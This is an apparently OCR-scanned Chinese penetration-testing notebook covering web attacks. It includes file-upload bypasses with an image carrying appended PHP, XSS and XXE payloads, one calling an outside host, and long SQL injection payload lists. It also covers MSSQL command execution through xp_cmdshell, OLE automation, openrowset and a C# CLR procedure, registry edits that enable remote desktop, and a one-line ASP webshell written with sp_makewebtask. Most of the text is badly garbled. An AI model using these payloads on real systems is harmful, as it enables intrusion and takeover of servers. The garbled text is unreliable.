% Content-Type B2~ content-Type

% Content-Type: application/octet-stream BS/5H iN—N =



3) XHHE
R

lﬁ—-!_

ua@w mamw ﬂmﬁxu 4@@% aw@up 4P om

123. jpe
Of fset g 2 235 4 5 6§ 7 B8 % x B C D EF

00000000 89 SO 4E 47 0D OA 1A OA 00 00 00 0D 49 48 44 52 |IPNG IHDR
00000010 00 00 00 64 00 00O 00 64 0B 02 00 00 OO0 FF 80 02 d d il
00000020 03 00 DO DO D01 73 S2 47 42 00 AE CE 1C E9 00 0O sRGB @1 &

00000030 00 04 67 41 4D 41 00 00 B1 8F OB FC 61 0S5 00 00 gAMA t ua
00000040 00 09 70 48 59 73 00 00 OE C3 00 0O OE C3 01 C7 pHYs & AC
000000S0 6F A8 64 00 00 00 DS 49 44 41 5S4 78 SE ED DO 31 o'd OIDATx"ib1
00000060 01 OO0 30 10 03 Al FA 37 9D SA F8 DB 41 02 6F 9C 0 47 ZeUA ol
D0D0DD70 C9 DA 64 05 B2 02 59 81 AC 40 56 20 2B 90 15C8 Ed 2 Y -@V + E
00000080 OA 64 05 B2 02 59 81 AC 40 S6 20 2B 90 1S CB8 0OA d 2 Y -@V + E
00000090 64 05 B2 02 S9 81 AC 40 56 20 2B 90 1S C8 DA 64 d 2 Y -@V + E d
D00D00AD 05 B2 02 59 81 AC 40 56 20 2B 90 1S C8 0OA 64 0S5 2 Y -@V + E d
000000BO B2 02 59 81 AC 40 S6 20 2B 90 15 C8 0OA 64 05 B2 2 Y -@V + E d 2
000000CO 02 S9 81 AC 40 S6 20 2B 90 15 C8 0OA 64 0S B2 02 Y -@V + E d 2
000000DD 59 81 AC 40 56 20 2B 90 15 C8 DA 64 05 B2 02 59 Y -@V + Ed 2 Y
DOO0DDED 81 AC 40 S6 20 2B 90 15 CB 0A 64 05 B2 02 59 81 -@V + Ed 2 Y
OODDOOFO AC 40 56 20 2B 90 15 C8 OA 64 05 B2 02 59 81 AC -@V + Ed 2 Y =
00000100 40 S6 20 2B 90 15 C8 DA 64 05 B2 02 59 81 AC 40 @V + E d 2 Y -@
00000110 S6é 20 2B 90 15 CB8 DA 64 05 B2 02 59 81 AC 40 S6 V + E d 2 Y -@V
00000120 20 2B 90 15 C8 0A 64 05 B2 CE B6 OF 2D C3 C1 90 + E d 2i¢ -AA
00000130 33 83 AB EF 00 00 00 00 49 45 4E 44 AE 42 60 82 3l IFNDRR_ L
00000140 3C 3F 70 68 70 0D DA 20 70 68 70 69 6E 66 6F 28| <?php phpinfo(
00000150 29 3B 0D OA 3F 3E 1A Jiou P2

4) W

http://www.webshelll414.com/2017/10/16/ Lt&53id 2 W

Z Pl (JavaScriptki#ll)  (dayu-Seventh day)
XM, BERELAETEESH LIRS L JavaScriptUiE, & LK 2aNy B4 RS 47, ~ERIBInT:



function check()

{

var filename = document.getElementById("file");

var str = filename.value.split(".");

var ext = str[str.length-1];
if(ext=="jpg'||ext=="png'||ext=="jpeg'||ext=="gif")
{

return true;
)
else
{

alert ("N U LfEpng/jpeg/gi FRBIISCHE! )

return false;

}

return false;

FIBZISAT W B ik EFE— AR BRSO b, A HHEEE )G, MRS LA ERREE B, — Bl DAl
BN P JavaScriptie ], 3 — B AT LR IS AR B W AR HTTPARHE &AL A B 57T LAE B 2 % /1 ik JavaScriptih:
oy .

LAETHE, FETER, BtJavaScripthill i %

BEE LERBENRE SR B BN o vE EERER, Flinkidama.aspiiidama.jpg L4%, BLEBurp Suite/CEBETINE, R)E
¥4 dama.jpgii vdama.asp.

kfswebshelljpg.jsp, FIRERTMMFEFIEEEEET, MATHFBRE.

SHE:

1. b8 = WAFg:d

$x=$_get[x]; $X"

AT xxx . com?x=wget githubfphp XD itk

SEHER:

https://www.t00ls.net/articles-51341.html

https://www.xj.hk/thread-1786.htm ---FEEREZEH P FEATNE




Content-Disposition: form-data; name="upload"; filename==="11111.php"

2) ER"gd

Content-Disposition: form-data; name="upload"; filename=11111.php

3) A"t

Content-Disposition: form-data, name="upload"; filename="11111.php

SHHRE:

https://www.t00ls.net/articles-51253.html  --- 4, & TFHUR

https://xz.aliyun.com/t/8000 --A[ M

3. AE=®

HEZSGEMEENRZIRE, EXXHELKNG ERBEARNphpZE T, Phpgiftid, BE&EPHP, —AEHCERERS

FXiseiE#EIw]

Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

BE 44 phplEl 2, XHEGI SRR —1T, RN A% AR B — /)3 5 4> o SCF A

https://www.cnblogs.com/bmjoker/p/9141322.html

Content-Disposition: form-data; name="up_picture";

A RIS HELE:

https://www.hacking8.com/sectips/bypasswaf.html

filename="yjh.c.php

Choose:

Warming : strstr() expec

parameters, | gaiven in
C:\phpStudy\ W\ andex. php

Fale chinacycce, C. php -~ Suc«
DOML

ts

at

an

essfual

least

Line

4y



SE 5% 4
1. #id LfEzipBiiR G R 5 2% B f# B R B webshell

https://4hou.win/wordpress/?cat=2035

2, Buypgadz e
HI:

https://blog.csdn.net/qq_25899635/article/details/90344198

https://www.cnblogs.com/thespace/p/12346021.html

3. mKRGE LIE RS

upload-labs#37 7 ¥ 1%

https://www.cnblogs.com/aq-ry/p/10063913.html

upload-labs & T KB HO M EAERA, —MEEILF AR ALK, EHEEI! !

4. ¥ HF 558 waf
Vi i aspxLy
https://xz.aliyun.com/t/7860

EREMA.. R LR B, sheltkZ EE, $ATEIA. ..

upload-labsid 3%

XGRS AR, SO EAR K& A R R AR B A AR e S



- HU ¥
. Bficontent-typeyimage/gif
;. php3, phtml

. 4% .htaccess

NP

. B, info.php.. (A+THK+H)
10, BEHE. N5

. BRH: getZl%o0#; b

. B4 postBi%eo#il, urlf@Eiy

v EEERD, ReaERE

- FHE

WHE 1402, FFaR#Tupload-labsiEALIE. ..

SO EAERR: |

: dEH—AxssiEiA

: & H—AxssFiRE
: EH—xssIEiH
;3 —ANXSSIR IR FIUR LB IR
-
mpd, aviXff: ssrfiFi

ERERM, REXHAR Axxe:

x1sx: xxelsiF

KB LA T

1. svgx(
1.svg




<svg xmlns="http://www.w3.0rg/2000/svg" onload="alert(1)"/>

https://xz.aliyun.com/t/1126

2. swixxfF

http://127.0.0.1/swfupload.swf?movieName="]%29}catch%28e%29{if%28!window.x%29{windows %29/ /

3. ERXHER, REARRXxeNE

XXEARHS :

HEXTM3U
HEXT-X-MEDIA-SEQUENCE: ©

HEXTINF: 10.0,

conca: http://vps_ip:VPS_PORT/header.m3u8

HEXT-X-ENDLIST

BHUC - payload

1

i
L]
i
1
1

4. shtmixz 4 ssifr 44T

<! --#ECHO var="SERVER_SOFTWARE"-->

<! --#echo var="server_name" -->

<! --#echo var="remote_user" -->

https://www.secpulse.com/archives/66934.html

5. Xlsx3Cf XXE

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM ' http://test.joychou.me:8081/evi
1.x1sx">%remote; ]><root/>

https://www.redhatzone.com/ask/article/1359.html  --A4MEE

XIsx 314 i «



. R —AxLsx3f

. BBUES N . zip, HEE

#TH [Content_Types].xml, 7ELIHIAxxe payload

HHT LR BRI A zip, ZRIEBUEH XX
£ b R AR SOctE, EARE RS AR BBITIT 0, fil R xxe

Dnslog FEBEFLER

2.2.10 A\ ¥ iH
KA.

B EMSE: AccessiEAN, MysqliEAN, MysqliEA, OracleiEA
EANR: GETVEAN, POSTEA, CookieyEA (uaikEA)

EANRRAE: BFREN, FRAEAN, BREEA

PEARIK: BEATEN, EE /R, R, SRED

AccessiE A

https://www.jianshu.com/p/ace43a7a331e

NE—MEE, BEEHMESE

BNl & 6 S 1SS Rearyption Encoding Other-

Mip: /7192 168 145 126/ asp/Production/PRODUCT_DETAIL asp”id=151] UNTON SELECT 1,2,3,4,5,6,7,8,9, 1

§,7.8,9,10,11,12,13, 14,15, 186 18,19, 20, o adeing
[~ Enable Post data [ Enable Referrer
i‘" EF08 product where 141513 UNION SELECT 1,2,3,4,5,8,7,8,9,10, 11, 12, 13,14, 15, 15,17, 18,18,20,21, 22 from admin
i 28 1 *

MSSQLEA

POC: |
B RA

1’ and @@version>0--

HHBR

1' and user>0--

B



1' and db_name()>0-- 6cstx

1' and (SELECT top 1 Name FROM Master.. SysDatabases)>@-- master

1=(select name from master.dbo.sysdatabases where dbid=1)-- //&FE&DBIDAL, 2, 3....

1=(select name from master.dbo.sysdatabases where dbid=2)-- tempdb

1=(select name from master.dbo.sysdatabases where dbid=3)-- model

1=(select name from master.dbo.sysdatabases where dbid=4)-- msdb

1=(select name from master. .sysdatabases where dbid=5)-- ReporServer

and 1=(select name from master.dbo.sysdatabases where dbid=12)....

B FI%E, HRMASET, ZRKEAFRTUETUR, EEsHEat4A
®

1' And (sElect Top 1 name from sysobjects where xtype=0x55)>0-- Users

¢l
' SELECT * FROM Users HAVING 1=1-- Users.pkId
=1

' And (sElect Top 1 UserName from Users)>0-- default

' and 1=convert(int, (SELECT TOP 1 User Name FROM Users WHERE ID NOT IN('1')))--

MYSQLEA

https://blog.csdn.net/weixin_45728976/article/details/103932264

Mysql5.0LL F

R HFEAccessyENZRLL




Mysql5.0LL F#EA
order byf# B

el

C\phpStudy\mysgl\bin\mysgl exe - s

25 rouws in set (B.90 sec)

nysgld select = from proxies_priv; 1
: . .
Host User | Proxied_host Proxied_user i With_grant | Grantor | Timestanmp
+
localhost | voot | ' 2012-98-29
: 4 2

row in : (B.PB sec)

* from proxies_priv order by 13

i e T S S e il

User | Proxied st Proxied_use With_grant | Grantor ITimestamp
L
t root ' i\ 2012-88-29

B.90 sec>

* fyrom proxies_priv order hy 7;
¥
Host User | Proxied_host | Proxied_usep With_grant Grantor | Timestamp
+
localhost root | 2012-08-29
+

.98 sec)

;elect = from proxies_priv order by 8;
1854 (- : Unknown column "8’ in 'order clause’
elect % from proxies_priv order hy 7;
+ *

Host User | Proxied_host | Proxied_user ! With grant |} Grantor | Timestamp
localhost | root 2012-88-29 17:13:605
row in set (A.0A0 sec)

ysqg 1>




unionf@ B

DoraBox

I'OWS

#IG N -

http://demo.sqli.com/Less-1/?id=1"

select username, password from security.users where id ‘1" limit o, 1;

#I 4

http://demo.sqli.com/Less-1/?id=1"' order by 3 %23

select username, password from security.users where id '1l' order by 3 %23 ' limit

http://demo.sqli.com/Less-1/?id=1"' union select 1,2,3 %23

#HREE AL

http://demo.sqli.com/Less-1/?id=-1" union select 1,2,3 %23

#HIRIUA P 44

http://demo.sqli.com/Less-1/?id=-1" union select 1,user(),3 %23

HIR B P 44

http://demo.sqli.com/Less-1/?id=-1" union select 1,database(),3 %23

HIRIR 4

http://demo.sqli.com/Less-1/?id=-1" union select 1,group _concat(table name),3 form information_schema.tables wh

ere table schema =database()




#HIRW IR

http://demo.sqli.com/Less-1/?id=-1" union select 1,group_concat(column_name),3 form information_ schema.columns

where table name ='users'

HIREUE AR

http://demo.sqli.com/Less-1/?id=-1" wunion select 1,group _concat(user_name),group_concat(password) from users

2% hitps:/lwww jianshu.com/p/5e8a65771641
b WEEAN K
BREEAN

LA EIE PN

1' and '1%'='1//BEIERIEFRER

1' and '1%'='2//8BEREHEFRLE

4

iy
i3
i

4
]
i
]
1
'
|
-+
Ink
Fo
y
14
¥
.
Jow

1' and '1%'="1//AR Bl 1IE RIS 2745

WA, XEERREAT AW, A

HoAth mEA

Client-IP User-Agent



User-agent : HEzsAFPRIEFMGS
Server : webfREZHRFTPECEMTLREGRREEE

HTTP SCENZIEMHTTPLAIREREE, MARIIRENZEIAEIEHITILIR, MMIEEREN. HTTPOEAE B REERF REAFERAMERF,

X-Forwarded-For/Client-IP FFIP

User-Agent AFPREMNIZERFER

Referer ZiFARSSE3IZMTTE M- D1 E T R

Cookie #RIREFHEMER

CookieBliF AZ1E I Cookie#HTHUIEIRRM, HENMNIERAEMIFEFR. $_REQUESTIHREXSZH . MIFEZEBAFPIERIEEMACookiekf

user—Agent kEBEA (less—18)

REEEZMNERAT, FEREINER, MRRBEER, THETLERN, ETHRNEIENT, INISAIESHAE
x, IREF

BidthiSuser-agentik FEN, EIUE LEIE

{E2XX-Forwarded-For, Client-IP, {Ai&ip, AMIPHZAEZER, FIHUAL, HAIAREREEERNER TESREIEIN
BE, MRRBER, WHERLER, ETHREEINT, INEIAEREREE, REF

https://blog.csdn.net/weixin_45146120/article/details/100588267

B

FINETE? BHER R EsqUE N, sqUEAHVTIEIEIE, HHM SR AR BERTRTE. HAT, A% A A — %
HEAT IR B R, AR B

FEBTVEN R EEZE X WE LA TIEAMA/REBAN . TEREERE R T REAEAR
RAEIE N & payload il 5 BB # R e m Bl & H R

1. fi/REHE

2. BEEBE

3. WMEEA

https://xz.aliyun.com/t/253

http://aiyuanzhen.com/index.php/archives/34/
https://www.jianshu.com/p/bc35f8ddaf7c --12FhR4EIEN

Sqgimap

os-shell Mysq|
EN R TI X Zrooti fR, XEMREEAT DL E#: 2 04E B AWk B % B Swebshell, {HiE2F 618, secure_file_privyz

https://xz.aliyun.com/t/7416



< &S " . 192.168.1.7

i
IH
i#

e e T W E p o
1 ER S © FF 108

==1be]g E =@/ Log in - Vultr.com

sqlmap file uploader

i1 b Ssatone BT

to directory: c:\wamp\wWebCode\bw. upload

s

BRXFEBERE, WREELART), HF=MER:
1) mysqlE A %25, secure_file_piviI{E Anull

HEN--sql-shell

show global variables like '%secure%';

Hsecure_file privififEAnull, XrMiimysqld ARESFA | S, BREEEANG

2) secure_file_privig e T HEANBFA UL b4, BEFART L, AR L2 Fupload H 3%

fEuploadS5 At B3 Bk, AEMERE R LAZEIH

3) secure_file_privilME A Z B E R E THRANEXR, BREEFRXHNE, REARTTHE

https://zhuanlan.zhihu.com/p/58007573

BEFEHEA

https://xz.aliyun.com/t/7416

—os-shell MSSQL

HIPNE

os-shell> for /r C: %i in (*xxx*) do @echo %i

https://xz.aliyun.com/t/7942

FATH

#SELECT INTOOUTFILE ® A\, BAXH

https://ivanzz1001.github.io/records/post/database/2018/10/19/mysql-basis_partl8

#load_file T i i BUSC#F

https://www.xcnte.com/archives/512/

MR HR, KRR ESAR LiTweb B R E, FH A, RIETIH



flor '1'='1'5R#EE. HANENELER SREERITLinit GEMNIEE

it

tp://192.168.1.7:85/sqli_1.php?title:a' LIMIT ©,1 INTO OUTFILE 'C:/wamp/WebCoc

Bilor '1'='1' MEESi#E, EMEAEMELEIR, BRNTor2/E, SlinitNAEEOER, Wk

Btp://192.168.1.7:85/sqli_1.php?title=a' or '1'='1' LIMIT 0,1 INTO OUTFILE 'C:/

T =S
TR AN
PSR e =
SR LALT
§ 9 min el sl
sgimap --os-shell ZeiEthse F— FB TR R AE Bl or 1=
. i - 2 P e T e i A A AT AT AL OF 1=
B
FHuploadBF L5
=183 5 /www/upload F—tEEIRHASAZ ©  floris
By

5, %bf', B35, X515, RFML, L, FHEER, and, or, xorffMlZEGFEEEN!!!

VEE: (- ) —FEARBRFEEMZERK, NHEURLFLERZHK (%20) , SUEBRFERLSF=EER

R - XBE, AR, B

S R BT R R PR, ISR B R BE2I9

EEHAWMABRARES

R L - -+ R

order by¥IWr ¥ B3, WMEEIEHIM, WEPBunion select 1,2,3— MR

0 SRR [B] ) T R AR AR, MR E W

WHunion select 1,version(),3REIMTHEEAE KEZN, BIEEAEEWARM, MERBEEN

AN SRARERIE N TUH B33 F 1805 B R R, W BEATRERVEN

INFEREAN AT, WIS TH

ZREREN, WRMLERE, W=F1EL, H#Epayload, SHUaMHNE



Payload

R, —+EEH

Jor 1=1--+

[¥EXor xR/ ¥xx [1ike/***/1-- /AR BT, MlikeB#i= RERGIFRF

FRA: —+EEH#

“or 1=1 --+
") or 1=1 --+

"Y)or 1=1 --+

FoAdy B

or rpad('',1, user())Mor Ipad('',1,user())="r"

A %5, %5cE\Furlghig

http://url/Home/Orders/index/currency/%5c.html

1) #i/R
2) FER, RS T5M A ERTE, WEEEAN

mysql: BENCHMARK (100000,MD5 (1)) or sleep(5)



' and sleep( if( (select length(database()) >0) , 5, 0 ) )%23

' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

id=1"' or sleep(ord(substr(password,1,1))) --

id=1"' XOR(sleep(if((select length(database()) >6),0,5)))X0R"'Z

id=1' and (SELECT 1 FROM (SELECT(SLEEP(5)))Gbqj) --+

id=1"/%*/AND/**/(SELECT/**/*/**/FROM/**/(SELECT (SLEEP(5)))ibEg)/**

Referer:1'XOR(if(now()=sysdate(),sleep(6),0))X0R'Z

ua: 'XOR(if(now()=sysdate(),sleep(6),0))X0R"'Z

x-forw: 'XOR(if (now()=sysdate(),sleep(6),0))X0R"'Z

mssql:

id=1"' WAITFOR DELAY '©:0:5'--+

id=1';WAITFOR DELAY '©:0:5'--+

id=1"');WAITFOR DELAY '0:0:5'--+

id=1" WAITFOR DELAY '©:0:5'--+

id=1";WAITFOR DELAY '©:0:5'--+

id=1");WAITFOR DELAY '0:0:5'--+

'49"'; WAITFOR DELAY '0:0:5'--+

R LK, TTUAREEA2E ..
HREEN, BEE R
LA Fpayload# R FH, MRARTFHE, BMA1EHHENES SHRENG 5



id=1+and (updatexml(1,concat(®x7e, (select user()),0x7e),1))--+

id=1+and (extractvalue(1,concat(0x7e, (select user()),0x7e)))--+

id=1+and geometrycollection((select * from(select * from(select user())a)b))--+

id=1+and multipoint((select from(select * from(select user())a)b))--+

in d=1+and polygon((select * from(select * from(select user()a)b))--+

id=1+and multipolygon((select * from(select * from(select user())a)b))--+

id=1+and linestring((select * from(select * from(select user())a)b))--+

id=1+and multilinestring((select * from(select * from(select user()a)b))--+

1d=1+and exp(~(select * from(select user())a))--+

PostgreSQL: /?param=1 and(l)=cast(version() as numeric)--+

Oraclef &5 EN

' AND 1932(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106) ||CHR(122)||CHR(113) || (SELECT+(CASE+WHEN

Wik sqlmap# A, MNS% --level 5 --risk 3

risk

SR A KSR, BRI R IRER, 283N T HAERIRKED, 35 INeRrE ARISQLEAJIRK

2.2.10.1 MSSQLFIF %4 (dayu-Eighth day)
2 PAT

1. xp_cmdshell



JFfExp_cmdshell

sp_configure 'show advanced options',1

reconfigure

g0

sp_configure 'xp_cmdshell',1

reconfigure

exec xp_cmdshell "whoami"

//AEmSSQL, B SRR T LR

R E MR I xp_cmdshell

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dl1l’

P RIRA Explog70. d11NFEH 2 Lif.

2. sp_oacreate

FTIF M

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell, 'run',null, 'c:\windows|
\system32\cmd.exe /c whoami >d:\\temp\\1l.txt'

WITETE R, IS PITE RS BlwebB 42 T BLE BL & dnsfllf5 18

3. vEWIT




& Z 2 HIms sql A SIEMRAR
vz

exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfi

sure;
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode"', 'REG_DWORD"',1
AT

select * from openrowset('microsoft.jet.oledb.4.0',"';database=c:\windows\system32\ias\dnary.mdb', 'select shell("

whoami™) ")

FEERIN Z3mssql 2012 b1 4E “To ik B8 8 12 IR 5595 (null)’ i) OLE DB 5 i # [ “microsoft.jet.oledb.4.0" I S .~ B KRR IR vk
AS7S

4. CLR#u 17

Common Language Runtime(CLR)F2 4 & SN AT A S ASQL Serverff).NETDLL (8DLL#A) . $ NG, DLLAER A3
S EIFEITSQLIAT . QUM IANE EXCLREFEN G IR RANRY FESQL ServerA NIRRT 7%, (HE R AL
HHBIET I, CACHIRRG AR, # T ARG HCSCHF AdI

using System;
System.Data;
System.Data.SqlClient;
System.Data.SqlTypes;
Microsoft.SqlServer.Server;
System.IO;
System.Diagnostics;
System.Text;

public partial class StoredProcedures

[Microsoft.SqlServer.Server.SqlProcedure]

public static void cmd_exec (SqlString execCommand)

Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);

proc.StartInfo.UseShellExecute = false;




proc.Start();

// Create the record and specify the metadata for the columns.

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));

// Mark the beginning of the result set.

SqlContext.Pipe.SendResultsStart(record);

// Set values for each column in the row

record.SetString(@, proc.StandardOutput.ReadToEnd().ToString());

// Send the row back to the client.

SglContext.Pipe.SendResultsRow(record);

// Mark the end of the result set.

SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();

proc.Close();

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs //FE®X.nethi4

BEMDLL EEZI B R, BEJISCHEBER, B Mmssqlml fEE 9 SO FR 1 8-S B0 E IR

JFECLR

sp_configure ‘'show advanced options',1

RECONFIGURE

(€[0)

-- Enable clr on the server

sp_configure 'clr enabled',1

RECONFIGURE

(€[0)
BRIRR ), FEREHIREMAE Nsa, XA EARRE FmasterfidE R T E #WiEH)
alter database [##EE4] set TRUSTWORTHY on

EXEC sp_changedbowner 'sa’




BEIIT

-- Import the assembly

CREATE ASSEMBLY my_assembly

FROM 'c:\temp\cmd_exec.dll'

WITH PERMISSION_SET = UNSAFE;

Go

-- Link the assembly to a stored procedure

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedun

es].[cmd_exec];

(€[0)

BT RBMATLABAT AL T
e e A R = T T

cmd_exec “whoami”

W0 % <

output

1 int service'mssglserver

AN R P LA 163 SRR 77 SR ADLL, XA AT BUAS F SO

5. comXt %

SV

EXEC sp_configure 'Ole Automation Procedures',1




declare @dbapp int,@exec int,@text int,@str varchar(8000);

exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@dbapp output;

--exec sp_oamethod @dpapp, 'run’,null, 'calc.exe’;

exec sp_oamethod @dbapp, 'exec’',@exec output, 'C:\\windows\\system32\\cmd.exe /c whoami';

exec sp_oamethod @exec, 'StdOut', @text out;

exec sp_oamethod @text, 'readall’', @str out

select @str

(3833 E=

EXEC xp_regread 'HKEY_CURRENT_USER', 'Control Panel\International', 'sCountry’

EXEC xp_regread ~HEEY CURRENT_USER’. Control Fanel%International’,’ sCountry

W00% ~ <

Value Data
rig A EHAE

2. 5HME

master.dbo.xp _regwrite'HKEY_ LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnection

s','REG_DWORD',0; #JT)2iZiZ s

3. MEx#RAE

exec master.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','

SOFTWARE/Microsoft/Windows/CurrentVersion', 'TestValueName' //MIEx{E

master.xp_regdeletekey 'HKEY_ LOCAL_MACHINE','

SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' //MikxeE

4. WA



EXECUTE master..xp_regaddmultistring

@ rootkey ='HKEY_LOCAL_MACHINE',

@ key ='SOFTWARETest',

@ value_name ='TestValue',

@ value ='Test'

5. MR K E N R

EXEC master..xp_regenumkeys 'HKEY_CURRENT_USER', 'Control Panel\International'’

e - 58t D e e S L R s s

EXEC master..xp_regenumkeys °~HEEY CURRENT_TUSER’. Control PaneliInternational’

User Frofile

FAK
1. ENES

Ja Fsql serverfQEE, AHE-Hra-1Ek

s
+ [0 RFduErE
+ [ EEREthER
+ | )| ReportServer
+ | | ReportServerTempDB =
# | test
+ [ ==iE 1
+ [ eSS z
# 1 &5l
[ AlwaysOn SR FE
# [0 BE
+ [ Integration Services B
= [ AR
FEE(N) 4 fEdk())...
ZBSHEEU) » LHA(S)-.
EfER(0)...
HE(A)..

BE(S)
FIEM
EFEmA)

B=1 PowerShell(H)
=P 3

[P (F)
EER)

rﬁl




L2 ]

ARG =5
WIN-0GIUDLEATSZ
i

=4

%) EEEEEY

HE
gl

Tanx ~ 1z

{RAbEESIZ (T
*.. EH Zem BT St

/
iR FHGHER ()

[#]#] | V]

[ sEw.. || ®wwo.. |[ w8e |[ w0 |

owE || mw |

EHATHER, ATHLAREX

L2 ]

ARG =5
WIF-OGIUDLEATSZ

Swx ~ s
FREI ()
|test |
ZERNT):
|Transact—5QL HQUZE {T-=QL) v |
TR (R
| v
éﬁﬁﬁ(ﬂ) |test V|
Bl (M) exec xp_cmdshell “whoami” z
RO, \
Bl
HAMG (E)
A4 (E)
<] ]

[F—sw | [ -5 |

Lo o | Ew ]




SRJEFE TR e I S B AT I 1)

@

ARE
R
By
ESr
B

& am

& Bir

Lz
PR EE:
WIN-OGIUDLEATI2

1

sa

%) EEEEEE

HE
Ik

v ST
I F nin—t I'¥ stpnl
| FrEtETE
E=E 0N |test |
) [E8hT v| ¥esmEe
zo1ef a6 [E 11:08:17 2
HE
thiT(C): |§E v|
thiTiElR (R : 1 B %=
] 28— 00 (] 2= (] S8R () (] 27500
(] 28— (r [ EEAm ) S8R W
SRME
® $hiT—x, BE R 0:00:00 v
O hiTEPRV: 1 o e FRARE T 0:00:00 =
£EERRHiE (6): 73:59:59 B
FEAE
FisEHA (D) 019/ 9/ 6 B~ O H£HEHERE): 2018/ 97 6 B
® FETEHHER0):
HE
THAR(P): TER ERIE /7 0:00:00 #1T- 1B 20199/ FIREEREEl-
WE T

BEAh, WY LARE A o8Bt CLRET & — MF AR AR JE A T RIVE ML AT AR A R, I S m B e

2, fiik %

fi 5 8% T FE AT 1 B R ENE 2 SR AT sqliE ), fWupdate, T AC AN




SET ANSI_NULLS ON

GO

SET QUOTED_IDENTIFIER ON

GO

CREATE TRIGGER [test222]

ON [test]

AFTER UPDATE /¥R —/MEH FRtesth.

REUHAfter updatel). &N
test222 il Kk A%+ /

EXECUTE MASTER.DBO.XP_CMDSHELL 'cmd.exe /c calc.exe'

TEXT R TupdateEZ J5, Hiexp_cmdshell

S
1. IR

exec xp_fileexist "C:\\users\\public\\test.txt"

REIORZR XN, 1RTFFE. ERTEE RGN, EITEREZERB] XM, FBHxp_fileexistAlWriZ X R B 1
FE, A IE 2 R B AT BT

2. A%

exec xp_subdirs "C:\Users\Administrator\",2,1

BASHREEERRXMR. BoASHRE] T XN ESER TSRS RNRZTEFELRH. H=NSHE
TS RERE . BRARTERAX MR, Bl 1 RREEEREN A



exec xp_dirtree “C:zers‘Administratory” | 2. 1|

n% = <

subdirectory depth file
I éAppData 1 o
E Local 2 1]
3 LocalLow bl u}
1 Roaming z i}
3 Application Data 1 o
i Contacts 1 a
Z Cookies 1 1]
i Tlezktop 1 a
i emd_exec. os 2 1
0 en_zql_server Z01Z_developer_edition x86 x4 _dv... 2 1
1 msoledbzql 18 2. 2. 0_x64. mzi z 1
2 Tlocuments 1 u}
e My Music z i}
4 My FPictures bl u}
B My Vidaos z i}
B 0L Server Management Studio bl u}
L Vizual Studie 2010 2 1]
.8 Townloads 1 u}
8 Favorites 1 1]
] Links 2 i}
i1 Links 1 0
b} Tesktop. 1nk bl 1
3 Dewnloads. 1ok 2 1
4 RecentFlaces. 1ok bl 1
i Local Settings 1 i}
B3 Music 1 ]
7 My Documents 1 o
f=} HetHood 1 u}
3. 5EXH

exec sp_makewebtask 'c:\www\testwr.asp', 'select''<%execute(request("SB"))%>""

FEITJGWeb Assistant Procedures

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

#Esql server 2012 EFFE KK

4. QIR HEHZF
exec xp_create_subdir 'D:\test’

5. %

exec xp_makecab 'c:test.cab', 'mszip', 1, 'c:test.txt' , 'c:testl.txt'

B RFIRIE E — IR R 48 B SRR R ABBOE £ cab XXfF. BERZERFIRERRINES, MSZIP K45 (KT zipXfs
X)) BAELE. F—NSHE LT cab XHKIBEE, XEREQEMBPNARMTT . BASHRERHIA . mRRELEHE
A HBRRMERE=ASH. BNUNSEERERBESHER S RATR. TTUEY REMEERERE 2D BRI BR



5 B IRE
1. RENBE

exec Xxp_getnetname

2. FMALRFER

exec Xp_msver

EXEC XD_MEVET

Hame
1 ? ProductHame
2 | Product¥ersion
& Language
4 Flatform
[&§ Comments
[ CompanyHame
7 FileDeseription
g FileV¥ersion
] InternalWame
10 10 LegalCopyright
11 11 LegalTrademarks
17 1z OriginalFilename
13 13 PrivateBuild
14 14 SpecialBuild
15 15 WindowsWerzion
16 16 FrocessorCount
17 17 Proceszorbctiveask
18 13 ProcessorType
19 19 FhyzicalMemory
20 20 Product ID

3. RMEFEEL

Internal Value
HILL

T208%6

2052

HULL

HILL

HULL

HIILL
HULL
137626660
B0Z9351718
1

HULL

Ga6d

2047

Character Value

Microsoft SQL Server

11.0.2100. 60

(R HED

HT =64

SAL

Microsoft Corporation

SQL Server Windews HT — 64 Bit
2011.0110. 2100, 060 ((SQL11_RTM). 120210-1917 )
SHLEERVE

Microsoft Corp. All rights reserved
Microsoft SQL Server iz a registered trademark. .
SHLSERVE. EXE

HULL

HULL

6.2 (9200)

1

HULL
2047 (2146577440)
HULL

exec xp_fixeddrives



lsxec xp_Tixeddrives

drive ME FIMZE
1 it 37163

4. R4
5. WA P

Se3RELRID

SELECT SUSER_SID('CATE4CAFE\Domain Admins")

FELECT SUSER_SID (' CATE4CAFE‘Domain Admins’ )

W% - <
H &%

(FHlE)
1 0x0105000000000005815000000F30FE FEE3AF 32050409165 FEOODZ0000

F| FHRID #4841 B 0x010500000000000515000000F80F57B63AF32D50A0916B7B#4)3& SID BI Al 8 3k A 7« AT A1IE, A
FHISIDR M500FF 46, BT LAIES00%85 5 pi 16134, NO1F4, 7EmssqlH & EMF HF401, /500004 2152
